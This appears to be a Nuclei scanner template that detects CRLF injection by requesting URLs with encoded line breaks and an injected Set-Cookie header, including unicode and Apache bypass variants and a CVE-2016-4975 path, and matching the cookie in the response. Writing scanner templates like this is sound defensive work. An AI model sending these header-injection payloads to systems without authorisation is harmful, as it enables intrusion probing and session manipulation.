23 lines
831 B
YAML
23 lines
831 B
YAML
id: crlf-injection
|
|
|
|
info:
|
|
name: CRLF injection
|
|
author: melbadry9 & nadino
|
|
severity: low
|
|
|
|
requests:
|
|
- method: GET
|
|
path:
|
|
- "{{BaseURL}}/%0D%0ASet-Cookie:crlfinjection=crlfinjection"
|
|
- "{{BaseURL}}/%E5%98%8D%E5%98%8ASet-Cookie:crlfinjection=crlfinjection" # unicode bypass
|
|
- "{{BaseURL}}/%0DSet-Cookie:crlfinjection=crlfinjection"
|
|
- "{{BaseURL}}/%0ASet-Cookie:crlfinjection=crlfinjection"
|
|
- "{{BaseURL}}/%3F%0DSet-Cookie%3Acrlfinjection=crlfinjection"
|
|
- "{{BaseURL}}/%0ASet-Cookie%3Acrlfinjection/.." # Apache
|
|
- "{{BaseURL}}/~user/%0D%0ASet-Cookie:crlfinjection" # CVE-2016-4975
|
|
matchers:
|
|
- type: regex
|
|
regex:
|
|
- '(?m)^(?:Set-Cookie\s*?:(?:\s*?|.*?;\s*?))(crlfinjection=crlfinjection)(?:\s*?)(?:$|;)'
|
|
part: header
|